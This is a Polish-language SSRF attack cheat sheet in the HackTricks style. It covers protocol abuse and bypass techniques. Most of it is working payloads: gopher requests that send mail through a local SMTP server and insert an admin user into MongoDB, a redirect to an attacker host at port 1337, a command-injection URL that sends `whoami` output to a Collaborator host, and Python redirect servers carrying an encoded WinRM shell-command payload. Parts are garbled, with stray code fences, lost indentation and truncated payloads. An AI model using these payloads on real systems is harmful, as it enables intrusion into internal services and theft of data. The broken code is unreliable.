SSRF (Server Side Request Forgery)

Użyj Trickest, aby łatwo tworzyć i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie. Otrzymaj dostęp już dziś:

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Podatność na Server-side Request Forgery (SSRF) występuje, gdy atakujący manipuluje aplikacją po stronie serwera, aby wykonywała żądania HTTP do wybranej przez niego domeny. Ta podatność naraża serwer na dowolne zewnętrzne żądania kierowane przez atakującego.

Przechwytywanie SSRF

Pierwszą rzeczą, którą musisz zrobić, jest przechwycenie interakcji SSRF wygenerowanej przez ciebie. Do przechwycenia interakcji HTTP lub DNS możesz użyć narzędzi takich jak:

Ominięcie białej listy domen

Zazwyczaj okaże się, że SSRF działa tylko w określonych domenach lub adresach URL znajdujących się na białej liście. Na następnej stronie znajdziesz kompilację technik próbujących ominąć tę białą listę:

pageURL Format Bypass

Ominięcie za pomocą przekierowania otwartego

Jeśli serwer jest odpowiednio zabezpieczony, możesz ominąć wszystkie ograniczenia, wykorzystując przekierowanie otwarte na stronie internetowej. Ponieważ strona internetowa pozwoli na SSRF do tej samej domeny i prawdopodobnie będzie przekierowywać żądania, możesz wykorzystać przekierowanie otwarte, aby zmusić serwer do uzyskania dostępu do dowolnego zasobu wewnętrznego. Czytaj więcej tutaj: https://portswigger.net/web-security/ssrf

Protokoły

  • file://

  • Schemat URL file:// odnosi się bezpośrednio do /etc/passwd: file:///etc/passwd

  • dict://

  • Schemat URL DICT jest opisany jako używany do uzyskiwania definicji lub list słów za pomocą protokołu DICT. Przykład ilustruje skonstruowany URL kierujący się do określonego słowa, bazy danych i numeru wpisu, a także potencjalne nadużycie skryptu PHP do połączenia z serwerem DICT za pomocą dostarczonych przez atakującego danych uwierzytelniających: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>

  • SFTP://

  • Zidentyfikowany jako protokół do bezpiecznego transferu plików za pomocą secure shell, podano przykład, jak skrypt PHP może być wykorzystany do połączenia z złośliwym serwerem SFTP: url=sftp://generic.com:11111/

  • TFTP://

  • Protokół Trivial File Transfer Protocol, działający w trybie UDP, jest wspomniany z przykładem skryptu PHP zaprojektowanego do wysłania żądania do serwera TFTP. Wysyłane jest żądanie TFTP do 'generic.com' na porcie '12346' dla pliku 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET

  • LDAP://

  • Ten segment obejmuje protokół Lightweight Directory Access Protocol, podkreślając jego wykorzystanie do zarządzania i uzyskiwania dostępu do rozproszonych usług informacyjnych katalogów w sieciach IP. Komunikacja z serwerem LDAP na localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.

  • SMTP

  • Opisana jest metoda wykorzystania podatności SSRF do interakcji z usługami SMTP na localhost, w tym kroki do ujawnienia wewnętrznych nazw domen i dalsze działania śledcze na podstawie tych informacji.

From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - bypass WAF

  • Jeśli SSRF jest wykonywane przez curl, curl posiada funkcję o nazwie URL globbing, która może być przydatna do ominięcia WAFów. Na przykład w tym opisie znajdziesz ten przykład przechodzenia ścieżek za pomocą protokołu file:

file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://

  • Omówiono zdolność protokołu Gopher do określania adresu IP, portu i bajtów do komunikacji z serwerem, wraz z narzędziami takimi jak Gopherus i remote-method-guesser do tworzenia ładunków. Przedstawiono dwie różne zastosowania:

Gopher://

Korzystając z tego protokołu, możesz określić adres IP, port i bajty, które chcesz, aby serwer wysłał. Następnie możesz wykorzystać SSRF do komunikacji z dowolnym serwerem TCP (ale musisz wiedzieć, jak rozmawiać z usługą). Na szczęście możesz użyć Gopherus, aby tworzyć ładunki dla kilku usług. Dodatkowo, remote-method-guesser można użyć do tworzenia ładunków gopher dla usług Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Połączenie z powrotem do 1337

redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB -- Utwórz użytkownika o nazwie użytkownika=admin z hasłem=admin123 i uprawnieniami=administrator

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF za pośrednictwem nagłówka Referrer i innych

Oprogramowanie analityczne na serwerach często rejestruje nagłówek Referrer, aby śledzić przychodzące linki, praktyka ta nieumyślnie narazia aplikacje na podatności na podrobienie żądania po stronie serwera (SSRF). Dzieje się tak dlatego, że takie oprogramowanie może odwiedzać zewnętrzne adresy URL wymienione w nagłówku Referrer w celu analizy treści strony odsyłającej. Aby odkryć te podatności, zaleca się użycie wtyczki Burp Suite "Collaborator Everywhere", wykorzystującej sposób przetwarzania nagłówka Referer przez narzędzia analityczne w celu zidentyfikowania potencjalnych powierzchni ataku SSRF.

SSRF za pośrednictwem danych SNI z certyfikatu

Konfiguracja błędu, która umożliwia połączenie z dowolnym backendem poprzez prosty setup, jest zilustrowana na przykładzie konfiguracji Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

W tej konfiguracji wartość z pola Server Name Indication (SNI) jest bezpośrednio wykorzystywana jako adres backendu. Taka konfiguracja naraża na podatność na Forgery żądania po stronie serwera (SSRF), którą można wykorzystać, po prostu określając pożądany adres IP lub nazwę domeny w polu SNI. Poniżej podano przykład wykorzystania, aby wymusić połączenie z dowolnym backendem, takim jak internal.host.com, za pomocą polecenia openssl:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF z Wstrzyknięciem Poleceń

Warto spróbować użyć ładunku takiego jak: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Renderowanie plików PDF

Jeśli strona internetowa automatycznie tworzy plik PDF z informacjami, które podałeś, możesz wstawić pewien JS, który zostanie wykonany przez sam kreatora PDF (serwer) podczas tworzenia pliku PDF i będziesz mógł wykorzystać SSRF. Znajdź więcej informacji tutaj.

Od SSRF do DoS

Utwórz kilka sesji i spróbuj pobrać ciężkie pliki wykorzystując SSRF z sesji.

Funkcje PHP SSRF

pagePHP SSRF

SSRF Przekierowanie do Gophera

Dla niektórych eksploatacji możesz potrzebować wysłania odpowiedzi przekierowania (potencjalnie do użycia innego protokołu, takiego jak gopher). Tutaj masz różne kody Pythona do odpowiedzi z przekierowaniem:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```python
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Użyj Trickest, aby łatwo budować i automatyzować przepływy pracy z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie. Otrzymaj dostęp już dziś:

Błędnie skonfigurowane serwery proxy podatne na SSRF

Sztuczki z tego posta.

Flask

Kod podatnego serwera proxy Flask

```python from flask import Flask from requests import get

app = Flask('main') SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''}) @app.route('/path:path')

def proxy(path): return get(f'{SITE_NAME}{path}').content

if name == "main": app.run(threaded=False)

</details>

Flask pozwala na użycie **`@`** jako początkowego znaku, co pozwala ustawić **początkową nazwę hosta jako nazwę użytkownika** i wstrzyknąć nową. Atak żądania:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Kod podatny na atak:

Odkryto, że jest możliwe rozpoczęcie ścieżki żądania znakiem ;, co pozwala następnie użyć @ i wstrzyknąć nowy host do dostępu. Żądanie ataku:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Wbudowany serwer WWW w PHP

Last updated